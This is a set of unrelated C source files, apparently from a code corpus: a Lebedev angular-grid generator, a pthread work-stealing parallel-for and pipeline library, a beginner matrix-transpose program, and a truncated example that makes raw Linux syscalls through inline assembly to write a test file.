SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5392127456774380e+0; b = 0.6008728062339922e-1; v = 0.2033728426135397e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5726819437668618e+0; b = 0.9058227674571398e-1; v = 0.2055008781377608e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6046469254207278e+0; b = 0.1211219235803400e+0; v = 0.2070651783518502e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6350716157434952e+0; b = 0.1515286404791580e+0; v = 0.2080953335094320e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6639177679185454e+0; b = 0.1816314681255552e+0; v = 0.2086284998988521e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5757276040972253e+0; b = 0.3026991752575440e-1; v = 0.2055549387644668e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6090265823139755e+0; b = 0.6078402297870770e-1; v = 0.2071871850267654e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6406735344387661e+0; b = 0.9135459984176636e-1; v = 0.2082856600431965e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6706397927793709e+0; b = 0.1218024155966590e+0; v = 0.2088705858819358e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6435019674426665e+0; b = 0.3052608357660639e-1; v = 0.2083995867536322e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6747218676375681e+0; b = 0.6112185773983089e-1; v = 0.2090509712889637e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_5810(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.9735347946175486e-5; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.1907581241803167e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.1901059546737578e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1182361662400277e-1; v = 0.3926424538919212e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3062145009138958e-1; v = 0.6667905467294382e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5329794036834243e-1; v = 0.8868891315019135e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7848165532862220e-1; v = 0.1066306000958872e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1054038157636201e+0; v = 0.1214506743336128e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1335577797766211e+0; v = 0.1338054681640871e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1625769955502252e+0; v = 0.1441677023628504e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1921787193412792e+0; v = 0.1528880200826557e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2221340534690548e+0; v = 0.1602330623773609e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2522504912791132e+0; v = 0.1664102653445244e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2823610860679697e+0; v = 0.1715845854011323e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3123173966267560e+0; v = 0.1758901000133069e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3419847036953789e+0; v = 0.1794382485256736e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3712386456999758e+0; v = 0.1823238106757407e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3999627649876828e+0; v = 0.1846293252959976e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4280466458648093e+0; v = 0.1864284079323098e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4553844360185711e+0; v = 0.1877882694626914e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4818736094437834e+0; v = 0.1887716321852025e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5074138709260629e+0; v = 0.1894381638175673e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5319061304570707e+0; v = 0.1898454899533629e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5552514978677286e+0; v = 0.1900497929577815e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5981009025246183e+0; v = 0.1900671501924092e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6173990192228116e+0; v = 0.1899837555533510e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6351365239411131e+0; v = 0.1899014113156229e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6512010228227200e+0; v = 0.1898581257705106e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6654758363948120e+0; v = 0.1898804756095753e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6778410414853370e+0; v = 0.1899793610426402e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6881760887484110e+0; v = 0.1901464554844117e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6963645267094598e+0; v = 0.1903533246259542e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7023010617153579e+0; v = 0.1905556158463228e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7059004636628753e+0; v = 0.1907037155663528e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3552470312472575e-1; v = 0.5992997844249967e-4; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9151176620841283e-1; v = 0.9749059382456978e-4; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1566197930068980e+0; v = 0.1241680804599158e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2265467599271907e+0; v = 0.1437626154299360e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2988242318581361e+0; v = 0.1584200054793902e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3717482419703886e+0; v = 0.1694436550982744e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4440094491758889e+0; v = 0.1776617014018108e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5145337096756642e+0; v = 0.1836132434440077e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5824053672860230e+0; v = 0.1876494727075983e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6468283961043370e+0; v = 0.1899906535336482e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6095964259104373e-1; b = 0.1787828275342931e-1; v = 0.8143252820767350e-4; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.8811962270959388e-1; b = 0.3953888740792096e-1; v = 0.9998859890887728e-4; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1165936722428831e+0; b = 0.6378121797722990e-1; v = 0.1156199403068359e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1460232857031785e+0; b = 0.8985890813745037e-1; v = 0.1287632092635513e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1761197110181755e+0; b = 0.1172606510576162e+0; v = 0.1398378643365139e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2066471190463718e+0; b = 0.1456102876970995e+0; v = 0.1491876468417391e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2374076026328152e+0; b = 0.1746153823011775e+0; v = 0.1570855679175456e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2682305474337051e+0; b = 0.2040383070295584e+0; v = 0.1637483948103775e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2989653312142369e+0; b = 0.2336788634003698e+0; v = 0.1693500566632843e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3294762752772209e+0; b = 0.2633632752654219e+0; v = 0.1740322769393633e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3596390887276086e+0; b = 0.2929369098051601e+0; v = 0.1779126637278296e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3893383046398812e+0; b = 0.3222592785275512e+0; v = 0.1810908108835412e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4184653789358347e+0; b = 0.3512004791195743e+0; v = 0.1836529132600190e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4469172319076166e+0; b = 0.3796385677684537e+0; v = 0.1856752841777379e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4745950813276976e+0; b = 0.4074575378263879e+0; v = 0.1872270566606832e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5014034601410262e+0; b = 0.4345456906027828e+0; v = 0.1883722645591307e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5272493404551239e+0; b = 0.4607942515205134e+0; v = 0.1891714324525297e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5520413051846366e+0; b = 0.4860961284181720e+0; v = 0.1896827480450146e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5756887237503077e+0; b = 0.5103447395342790e+0; v = 0.1899628417059528e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1225039430588352e+0; b = 0.2136455922655793e-1; v = 0.1123301829001669e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1539113217321372e+0; b = 0.4520926166137188e-1; v = 0.1253698826711277e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1856213098637712e+0; b = 0.7086468177864818e-1; v = 0.1366266117678531e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2174998728035131e+0; b = 0.9785239488772918e-1; v = 0.1462736856106918e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2494128336938330e+0; b = 0.1258106396267210e+0; v = 0.1545076466685412e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2812321562143480e+0; b = 0.1544529125047001e+0; v = 0.1615096280814007e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3128372276456111e+0; b = 0.1835433512202753e+0; v = 0.1674366639741759e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3441145160177973e+0; b = 0.2128813258619585e+0; v = 0.1724225002437900e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3749567714853510e+0; b = 0.2422913734880829e+0; v = 0.1765810822987288e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4052621732015610e+0; b = 0.2716163748391453e+0; v = 0.1800104126010751e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4349335453522385e+0; b = 0.3007127671240280e+0; v = 0.1827960437331284e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4638776641524965e+0; b = 0.3294470677216479e+0; v = 0.1850140300716308e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4920046410462687e+0; b = 0.3576932543699155e+0; v = 0.1867333507394938e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5192273554861704e+0; b = 0.3853307059757764e+0; v = 0.1880178688638289e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5454609081136522e+0; b = 0.4122425044452694e+0; v = 0.1889278925654758e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5706220661424140e+0; b = 0.4383139587781027e+0; v = 0.1895213832507346e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5946286755181518e+0; b = 0.4634312536300553e+0; v = 0.1898548277397420e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1905370790924295e+0; b = 0.2371311537781979e-1; v = 0.1349105935937341e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2242518717748009e+0; b = 0.4917878059254806e-1; v = 0.1444060068369326e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2577190808025936e+0; b = 0.7595498960495142e-1; v = 0.1526797390930008e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2908724534927187e+0; b = 0.1036991083191100e+0; v = 0.1598208771406474e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3236354020056219e+0; b = 0.1321348584450234e+0; v = 0.1659354368615331e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3559267359304543e+0; b = 0.1610316571314789e+0; v = 0.1711279910946440e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3876637123676956e+0; b = 0.1901912080395707e+0; v = 0.1754952725601440e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4187636705218842e+0; b = 0.2194384950137950e+0; v = 0.1791247850802529e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4491449019883107e+0; b = 0.2486155334763858e+0; v = 0.1820954300877716e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4787270932425445e+0; b = 0.2775768931812335e+0; v = 0.1844788524548449e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5074315153055574e+0; b = 0.3061863786591120e+0; v = 0.1863409481706220e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5351810507738336e+0; b = 0.3343144718152556e+0; v = 0.1877433008795068e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5619001025975381e+0; b = 0.3618362729028427e+0; v = 0.1887444543705232e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5875144035268046e+0; b = 0.3886297583620408e+0; v = 0.1894009829375006e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6119507308734495e+0; b = 0.4145742277792031e+0; v = 0.1897683345035198e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2619733870119463e+0; b = 0.2540047186389353e-1; v = 0.1517327037467653e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2968149743237949e+0; b = 0.5208107018543989e-1; v = 0.1587740557483543e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3310451504860488e+0; b = 0.7971828470885599e-1; v = 0.1649093382274097e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3646215567376676e+0; b = 0.1080465999177927e+0; v = 0.1701915216193265e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3974916785279360e+0; b = 0.1368413849366629e+0; v = 0.1746847753144065e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4295967403772029e+0; b = 0.1659073184763559e+0; v = 0.1784555512007570e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4608742854473447e+0; b = 0.1950703730454614e+0; v = 0.1815687562112174e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4912598858949903e+0; b = 0.2241721144376724e+0; v = 0.1840864370663302e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5206882758945558e+0; b = 0.2530655255406489e+0; v = 0.1860676785390006e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5490940914019819e+0; b = 0.2816118409731066e+0; v = 0.1875690583743703e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5764123302025542e+0; b = 0.3096780504593238e+0; v = 0.1886453236347225e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6025786004213506e+0; b = 0.3371348366394987e+0; v = 0.1893501123329645e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6275291964794956e+0; b = 0.3638547827694396e+0; v = 0.1897366184519868e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3348189479861771e+0; b = 0.2664841935537443e-1; v = 0.1643908815152736e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3699515545855295e+0; b = 0.5424000066843495e-1; v = 0.1696300350907768e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4042003071474669e+0; b = 0.8251992715430854e-1; v = 0.1741553103844483e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4375320100182624e+0; b = 0.1112695182483710e+0; v = 0.1780015282386092e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4699054490335947e+0; b = 0.1402964116467816e+0; v = 0.1812116787077125e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5012739879431952e+0; b = 0.1694275117584291e+0; v = 0.1838323158085421e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5315874883754966e+0; b = 0.1985038235312689e+0; v = 0.1859113119837737e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5607937109622117e+0; b = 0.2273765660020893e+0; v = 0.1874969220221698e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5888393223495521e+0; b = 0.2559041492849764e+0; v = 0.1886375612681076e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6156705979160163e+0; b = 0.2839497251976899e+0; v = 0.1893819575809276e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6412338809078123e+0; b = 0.3113791060500690e+0; v = 0.1897794748256767e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4076051259257167e+0; b = 0.2757792290858463e-1; v = 0.1738963926584846e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4423788125791520e+0; b = 0.5584136834984293e-1; v = 0.1777442359873466e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4760480917328258e+0; b = 0.8457772087727143e-1; v = 0.1810010815068719e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5085838725946297e+0; b = 0.1135975846359248e+0; v = 0.1836920318248129e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5399513637391218e+0; b = 0.1427286904765053e+0; v = 0.1858489473214328e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5701118433636380e+0; b = 0.1718112740057635e+0; v = 0.1875079342496592e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5990240530606021e+0; b = 0.2006944855985351e+0; v = 0.1887080239102310e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6266452685139695e+0; b = 0.2292335090598907e+0; v = 0.1894905752176822e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6529320971415942e+0; b = 0.2572871512353714e+0; v = 0.1898991061200695e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4791583834610126e+0; b = 0.2826094197735932e-1; v = 0.1809065016458791e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5130373952796940e+0; b = 0.5699871359683649e-1; v = 0.1836297121596799e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5456252429628476e+0; b = 0.8602712528554394e-1; v = 0.1858426916241869e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5768956329682385e+0; b = 0.1151748137221281e+0; v = 0.1875654101134641e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6068186944699046e+0; b = 0.1442811654136362e+0; v = 0.1888240751833503e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6353622248024907e+0; b = 0.1731930321657680e+0; v = 0.1896497383866979e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6624927035731797e+0; b = 0.2017619958756061e+0; v = 0.1900775530219121e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5484933508028488e+0; b = 0.2874219755907391e-1; v = 0.1858525041478814e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5810207682142106e+0; b = 0.5778312123713695e-1; v = 0.1876248690077947e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6120955197181352e+0; b = 0.8695262371439526e-1; v = 0.1889404439064607e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6416944284294319e+0; b = 0.1160893767057166e+0; v = 0.1898168539265290e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6697926391731260e+0; b = 0.1450378826743251e+0; v = 0.1902779940661772e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6147594390585488e+0; b = 0.2904957622341456e-1; v = 0.1890125641731815e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6455390026356783e+0; b = 0.5823809152617197e-1; v = 0.1899434637795751e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6747258588365477e+0; b = 0.8740384899884715e-1; v = 0.1904520856831751e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6772135750395347e+0; b = 0.2919946135808105e-1; v = 0.1905534498734563e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } int MakeAngularGrid(double *Out, int nPoints) { double (*pOut)[4] = (double (*)[4])Out; int N = 0; switch( nPoints ) { case 0: pOut[0][0] = 0.0; // x pOut[0][1] = 0.0; // y pOut[0][2] = 0.0; // z pOut[0][3] = 1.0; // weight N = 1; break; case 6: N = MakeAngularGrid_6 (pOut); break; case 14: N = MakeAngularGrid_14 (pOut); break; case 26: N = MakeAngularGrid_26 (pOut); break; case 38: N = MakeAngularGrid_38 (pOut); break; case 50: N = MakeAngularGrid_50 (pOut); break; case 74: N = MakeAngularGrid_74 (pOut); break; case 86: N = MakeAngularGrid_86 (pOut); break; case 110: N = MakeAngularGrid_110 (pOut); break; case 146: N = MakeAngularGrid_146 (pOut); break; case 170: N = MakeAngularGrid_170 (pOut); break; case 194: N = MakeAngularGrid_194 (pOut); break; case 230: N = MakeAngularGrid_230 (pOut); break; case 266: N = MakeAngularGrid_266 (pOut); break; case 302: N = MakeAngularGrid_302 (pOut); break; case 350: N = MakeAngularGrid_350 (pOut); break; case 434: N = MakeAngularGrid_434 (pOut); break; case 590: N = MakeAngularGrid_590 (pOut); break; case 770: N = MakeAngularGrid_770 (pOut); break; case 974: N = MakeAngularGrid_974 (pOut); break; case 1202: N = MakeAngularGrid_1202(pOut); break; case 1454: N = MakeAngularGrid_1454(pOut); break; case 1730: N = MakeAngularGrid_1730(pOut); break; case 2030: N = MakeAngularGrid_2030(pOut); break; case 2354: N = MakeAngularGrid_2354(pOut); break; case 2702: N = MakeAngularGrid_2702(pOut); break; case 3074: N = MakeAngularGrid_3074(pOut); break; case 3470: N = MakeAngularGrid_3470(pOut); break; case 3890: N = MakeAngularGrid_3890(pOut); break; case 4334: N = MakeAngularGrid_4334(pOut); break; case 4802: N = MakeAngularGrid_4802(pOut); break; case 5294: N = MakeAngularGrid_5294(pOut); break; case 5810: N = MakeAngularGrid_5810(pOut); break; default: return 0; // grid size not defined. } assert(N == nPoints); return N; }
the_stack_data/984437.c
#include <pthread.h> #include <stdlib.h> #include <limits.h> #include <stdint.h> #if (defined(WIN32) || defined(_WIN32)) && defined(_MSC_VER) #define __sync_fetch_and_add(ptr, addend) _InterlockedExchangeAdd((void*)ptr, addend) #endif /************ * kt_for() * ************/ struct kt_for_t; typedef struct { struct kt_for_t *t; long i; } ktf_worker_t; typedef struct kt_for_t { int n_threads; long n; ktf_worker_t *w; void (*func)(void*,long,int); void *data; } kt_for_t; static inline long steal_work(kt_for_t *t) { int i, min_i = -1; long k, min = LONG_MAX; for (i = 0; i < t->n_threads; ++i) if (min > t->w[i].i) min = t->w[i].i, min_i = i; k = __sync_fetch_and_add(&t->w[min_i].i, t->n_threads); return k >= t->n? -1 : k; } static void *ktf_worker(void *data) { ktf_worker_t *w = (ktf_worker_t*)data; long i; for (;;) { i = __sync_fetch_and_add(&w->i, w->t->n_threads); if (i >= w->t->n) break; w->t->func(w->t->data, i, w - w->t->w); } while ((i = steal_work(w->t)) >= 0) w->t->func(w->t->data, i, w - w->t->w); pthread_exit(0); } void kt_for(int n_threads, void (*func)(void*,long,int), void *data, long n) { if (n_threads > 1) { int i; kt_for_t t; pthread_t *tid; t.func = func, t.data = data, t.n_threads = n_threads, t.n = n; t.w = (ktf_worker_t*)calloc(n_threads, sizeof(ktf_worker_t)); tid = (pthread_t*)calloc(n_threads, sizeof(pthread_t)); for (i = 0; i < n_threads; ++i) t.w[i].t = &t, t.w[i].i = i; for (i = 0; i < n_threads; ++i) pthread_create(&tid[i], 0, ktf_worker, &t.w[i]); for (i = 0; i < n_threads; ++i) pthread_join(tid[i], 0); free(tid); free(t.w); } else { long j; for (j = 0; j < n; ++j) func(data, j, 0); } } /***************** * kt_pipeline() * *****************/ struct ktp_t; typedef struct { struct ktp_t *pl; int64_t index; int step; void *data; } ktp_worker_t; typedef struct ktp_t { void *shared; void *(*func)(void*, int, void*); int64_t index; int n_workers, n_steps; ktp_worker_t *workers; pthread_mutex_t mutex; pthread_cond_t cv; } ktp_t; static void *ktp_worker(void *data) { ktp_worker_t *w = (ktp_worker_t*)data; ktp_t *p = w->pl; while (w->step < p->n_steps) { // test whether we can kick off the job with this worker pthread_mutex_lock(&p->mutex); for (;;) { int i; // test whether another worker is doing the same step for (i = 0; i < p->n_workers; ++i) { if (w == &p->workers[i]) continue; // ignore itself if (p->workers[i].step <= w->step && p->workers[i].index < w->index) break; } if (i == p->n_workers) break; // no workers with smaller indices are doing w->step or the previous steps pthread_cond_wait(&p->cv, &p->mutex); } pthread_mutex_unlock(&p->mutex); // working on w->step w->data = p->func(p->shared, w->step, w->step? w->data : 0); // for the first step, input is NULL // update step and let other workers know pthread_mutex_lock(&p->mutex); w->step = w->step == p->n_steps - 1 || w->data? (w->step + 1) % p->n_steps : p->n_steps; if (w->step == 0) w->index = p->index++; pthread_cond_broadcast(&p->cv); pthread_mutex_unlock(&p->mutex); } pthread_exit(0); } void kt_pipeline(int n_threads, void *(*func)(void*, int, void*), void *shared_data, int n_steps) { ktp_t aux; pthread_t *tid; int i; if (n_threads < 1) n_threads = 1; aux.n_workers = n_threads; aux.n_steps = n_steps; aux.func = func; aux.shared = shared_data; aux.index = 0; pthread_mutex_init(&aux.mutex, 0); pthread_cond_init(&aux.cv, 0); aux.workers = (ktp_worker_t*)calloc(n_threads, sizeof(ktp_worker_t)); for (i = 0; i < n_threads; ++i) { ktp_worker_t *w = &aux.workers[i]; w->step = 0; w->pl = &aux; w->data = 0; w->index = aux.index++; } tid = (pthread_t*)calloc(n_threads, sizeof(pthread_t)); for (i = 0; i < n_threads; ++i) pthread_create(&tid[i], 0, ktp_worker, &aux.workers[i]); for (i = 0; i < n_threads; ++i) pthread_join(tid[i], 0); free(tid); free(aux.workers); pthread_mutex_destroy(&aux.mutex); pthread_cond_destroy(&aux.cv); }
the_stack_data/339002.c
#include<stdio.h> void main() { int a[50][50],b[50][50],i,j,m,n; printf("no of rows of the matrix..."); scanf("%d",&m); printf("no of columns of the matrix..."); scanf("%d",&n); printf("enter the elements of the matrix..."); for(i=0;i<m;i++) { for(j=0;j<n;j++) { scanf("%d",&a[i][j]); } } for(i=0;i<m;i++) { for(j=0;j<n;j++) { b[j][i]=a[i][j]; } } printf("matrix=\n"); for(i=0;i<m;i++) { for(j=0;j<n;j++) { printf("\t%d",a[i][j]); } printf("\n"); } printf("transpose=\n"); for(i=0;i<n;i++) { for(j=0;j<m;j++) { printf("\t%d",b[i][j]); } printf("\n"); } }
the_stack_data/179250.c
extern void gn_exit(int errno); extern int gn_read(int fd, char* buf, int count); extern int gn_write(int fd, char* buf, int count); extern int gn_open(char* filename, int flags, int mode); // PIPES #define STDIN 0 #define STDOUT 1 #define STDERR 2 // File flags #define O_RDONLY 0000 #define O_WRONLY 0001 #define O_RDWR 0002 #define O_CREAT 0100 /* create if nonexistant */ int main() { char buf[64] = { 0 }; char* teststring = "Hello, world"; char* filename = "/tmp/test"; int flags = O_RDWR | O_CREAT; int mode = 00777; int fd = gn_open(filename, flags, mode); gn_write(fd, teststring, 64); gn_exit(0); // This needs to be an asm instead of a goto to avoid gcc optimizing // out my custom functions __asm__ volatile ("jmp end"); // 1 sys_exit 0x01 int error_code - - - - kernel/exit.c:1046 __asm__ volatile ( "gn_exit: \n" "push ebp \n" // Save stack-frame base pointer "mov ebp, esp \n" // Set location of the stack "mov eax, 0x1 \n" // sys_exit "mov ebx, [ebp+8] \n" // Load ebx with value from call "int 0x80 \n" // syscall "mov esp, ebp \n" // Restore stack pointer "pop ebp \n" // Restore calling function frame "ret" ); // 3 sys_read 0x03 unsigned int fd char __user *buf size_t count - - fs/read_write.c:391 __asm__ volatile ( "gn_read: \n" "push ebp \n" // Save stack-frame base pointer "mov ebp, esp \n" // Set location of the stack "mov eax, 0x3 \n" // sys_read "mov ebx, [ebp+8] \n" // fd "mov ecx, [ebp+12]\n" // char* buf "mov edx, [ebp+16]\n" // count to read "int 0x80 \n" // syscall "mov esp, ebp \n" // Restore stack pointer "pop ebp \n" // Restore calling function frame "ret" ); // 4 sys_write 0x04 unsigned int fd const char __user *buf size_t count - - fs/read_write.c:408 __asm__ volatile ( "gn_write: \n" "push ebp \n" // Save stack-frame base pointer "mov ebp, esp \n" // Set location of the stack "mov eax, 0x4 \n" // sys_write "mov ebx, [ebp+8] \n" // fd "mov ecx, [ebp+12]\n" // char* buf "mov edx, [ebp+16]\n" // count to write "int 0x80 \n" // syscall "mov esp, ebp \n" // Restore stack pointer "pop ebp \n" // Restore calling function frame "ret" ); // 5 sys_open 0x05 const char __user *filename int flags int mode - - fs/open.c:900 __asm__ volatile ( "gn_open: \n" "push ebp \n" // Save stack-frame base pointer "mov ebp, esp \n" // Set location of the stack "mov eax, 0x5 \n" // sys_open "mov ebx, [ebp+8] \n" // char* filename "mov ecx, [ebp+12]\n" // int flags "mov edx, [ebp+16]\n" // int mode "int 0x80 